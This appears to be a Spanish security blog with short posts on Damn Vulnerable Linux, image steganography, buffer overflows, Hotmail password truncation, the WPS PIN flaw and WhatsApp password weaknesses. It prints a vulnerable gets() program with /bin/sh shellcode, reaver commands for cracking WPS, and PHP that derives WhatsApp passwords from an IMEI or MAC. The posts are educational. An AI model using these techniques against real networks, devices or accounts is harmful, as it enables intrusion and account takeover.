miércoles, 2 de enero de 2013

DVL [Damn Vulnerable Linux]

     En esta entrada os presento DVL, siglas de Damm Vulnerable Linux. Ha sido desarrollado por Thorsten Schneider, que está a cargo del laboratorio TeutoHack, en la Universidad de Bielefeld, Alemania. Al contrario que lo que habitualmente busca cualquier sistema operativo, este fué diseñado de forma que contiene todas las inseguridades posibles, destinada al aprendizaje de la seguridad.
     
     Además de los servidores al uso, perfectamente instalados y listos para utilizar, DVL proporciona ensambladores (HLA) y desensambladores, debuggers y todas las herramientas necesarias para explorar en profundidad posibles vulnerabilidades en las aplicaciones. El conjunto de acompaña de varios tutoriales listos para usar, exploits para practicar, etc, etc. Incluso se dispone de vídeos para ilustrar las lecciones, que han de descargarse desde el sitio web de DVL porque no se han incluido en el CD para no aumentar su tamaño.
     Tiene un kernel 2.4, con aplicaciones no muy actualizadas y configuraciones que facilitan el ataque a la misma, para proporcionar agujeros de seguridad en todos lados.


miércoles, 31 de octubre de 2012

Esteganografía

    La esteganografía es la parte de la criptología en la que se estudian y aplican técnicas que permiten el ocultamiento de mensajes u objetos, dentro de otros, llamados portadores, de modo que no se perciba su existencia.
   En esta entrada veremos un ejemplo de como utilizando como portador una fotografía cualquiera podremos ocultar un mensaje entre los pixels que la forman.
    
   En primer lugar cargamos el archivo .bmp. Cada pixel está formado por 3 bytes que representan el tono de rojo, azul y verde.
   Pequeñas diferencias (<10) son apenas perceptibles a nuestros ojos, asique eliminando las unidades hacemos sitio para ocultar aí nuestro mensaje. Leemos cada pixel y sumamos a su valor con las unidades ya truncadas  el byte correspondiente del mensaje, permitiendo así ocultar mensajes de tamaño alto x ancho de la fotografía.
   A la hora de decodificar leeremos la foto modificada y componemos el mensaje original con las unidades de cada color de cada pixel. 
   Se podría mejorar la seguridad del mensaje ocultado encriptándolo con algún algoritmo de cifrado, para que no cualqueira que poseyese el programa pueda leer el mensaje.
.
Imagen original.

Imagen con el código fuente del programa incrustado.

   Como podemos observar, apenas hay perdida de calidad ni se detectan artefactos en la imagen.

   Aqui os dejo el código del programa que hemos creado.

miércoles, 10 de octubre de 2012

Buffer overflow


Un Buffer Overflow es un error de programación que tiene lugar al copiar una cantidad de datos sobre un área que no es lo suficientemente grande como para contener dichos datos, produciendose así la sobreescritura de zonas de memoria.
Aqui vemos un programa vulnerable a un ataque por buffer overflow:


#include <stdio.h>
int vulnerable()
{
    char buf[100]
    printf("Introduce tu nombre:");
    fflush(stdout);
    gets(buf);
    printf("Hola \"%s\"\n", buf);
}
int main(int argc, char** argv)
{
    vulnerable();
}


En este caso si le diesemos una entrada a este programa más larga que la capacidad de "buf" estaríamos escribiendo directamente en la memoria, pudiendo introducir codigo que el sistema ejecutaría al no devolver el control al programa atacado, como por ejemplo:

\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

Este código pretende ejecutar /bin/sh y por tanto devolvernos una terminal que podríamos usar.

domingo, 30 de septiembre de 2012

Contraseñas en hotmail




En Ars Technica cuentan una curiosa cafrada de Microsoft en cuanto a seguridad en Hotmail: Secret Microsoft policy limited Hotmail passwords to 16 characters.
Antiguamente las contraseñas Hotmail estaban limitadas a 16 caracteres pero permitían introducir muchos mas, aunque no se usaban para nada... Actualmente las contraseñas largas siguen funcionando pero únicamente si tecleas los 16 primeros caracteres.

Lo peor es que eso quiere decir que o bien las contraseñas se guardaban sin cifrar (en texto claro, «uno de los mayores pecados que puede cometer un administrador») o bien los caracteres del 17º en adelante nunca han servido para nada y se ignoraban – proporcionando a la gente una falsa sensación de seguridad.

Pueden confundirse contraseñas que parecen seguras con muchas letas y numeros con otras con el mismo comienzo, siendo exactamente las mismas_

Para Hotmail "contraseñaleatoria*18276812763817236552" es la misma contraseña que "contraseñaleatoria*11111111111111111111". De hecho con "contraseñaleatoria" estarías dentro.


martes, 25 de septiembre de 2012

Vulnerabilidad de WPA por WPS habilitado


    Wi-Fi Protected Setup o WPS es un estándar con el que se quiere facilitar la puesta en marcha de una red segura.
    La idea de WPS no es la de añadir más seguridad a las redes, sino facilitar el uso de los mecanismos existentes, como WPA o WPA2, a los usuarios sin necesidad de utilizar complicadas claves o tediosos procesos de configuración (por lo visto).
    Existen dos métodos básicos para el funcionamiento de WPS:
    El primero de ellos es la introducción de un PIN. En este, cuando se detecta un nuevo dispositivo Wi-Fi en la red, el punto de acceso (o un representante autorizado de este, como podría ser un ordenador con los permisos adecuados) nos pedirá el PIN del dispositivo.
    El segundo de los métodos es el PBC o Push Button Configuration, que facilita todavía más el proceso, pues solo requiere que se pulse un botón en el punto de acceso y otro en el dispositivo que queramos unir a la red.
Una falla de seguridad descubierta en diciembre del 2011 por Stefan Viehböck y Craig Heffnet, la cual afecta a routers inalámbricos que tienen la función WPS, la misma que en dispositivos actuales se encuentra habilitada por defecto. La falla permite a un atacante recuperar el PIN WPS y con la misma la clave pre-compartida de la red WPA/WPA2 en pocas horas.
En definitiva, para conseguir saltarnos este mecanismo sería tan sencillo como poner nuestra tarjeta de red en modo monitor
#arimon-ng start wlan0
Para realizar el ataque necesitaremos conocer el BSSID y la MAC del router
#ariodump-ng mon0
Y por ultimo, utilizando reaver conseguiremos acceso:
#reaver -i mon0 -b [MAC] -vv

lunes, 24 de septiembre de 2012

Seguridad en WhatsApp


    WhatsApp es una aplicación que ha ganado popularidad en smartphones proporcionando un metodo "gratuíto" para enviar y recibir mensajes via web.

    Curioseando por reddit encontré ciertos enormes problemas de seguridad en esta aplicación...
    Al parecer hasta agosto de 2012 los mensajes enviados via WhatsApp no estaban encriptados de ninguna manera, de forma que cualqueira podía ver su contenido en texto plano y incluso ver las transferencias de datos esnifando cualquier red publica.
    Aúnque la compañía actualizó WhatsApp encriptando las transferencias parece que este sistema no es del todo seguro:
    El usuario jabber de las cuentas WhatsApp es siempre el numero de telefono, que continúa transfiriendose en texto plano.
    La contraseña es, en caso de las plataformas android el inverso del hash md5 del número IMEI:

$imei = "112222223333334"; //  IMEI
$androidWhatsAppPassword = md5(strrev($imei)); //  IMEI y calculo de md5 hash

    Peor aún en las plataformas iOS como iphone, la contraseña se genera a partir de la MAC del dispositivo:

$wlanMAC = "AA:BB:CC:DD:EE:FF"; // ejemplo de dirección WLAN MAC
$iphoneWhatsAppPassword = md5($wlanMAC.$wlanMAC); 

Calcula la contraseña concatenando dos veces la dirección MAC... impresionante seguridad.

Existen APIs para usar whatsApp desde un ordenador cualquiera, aqui una clase en PHP para que cualqueira pueda hacerse su cliente de whatsApp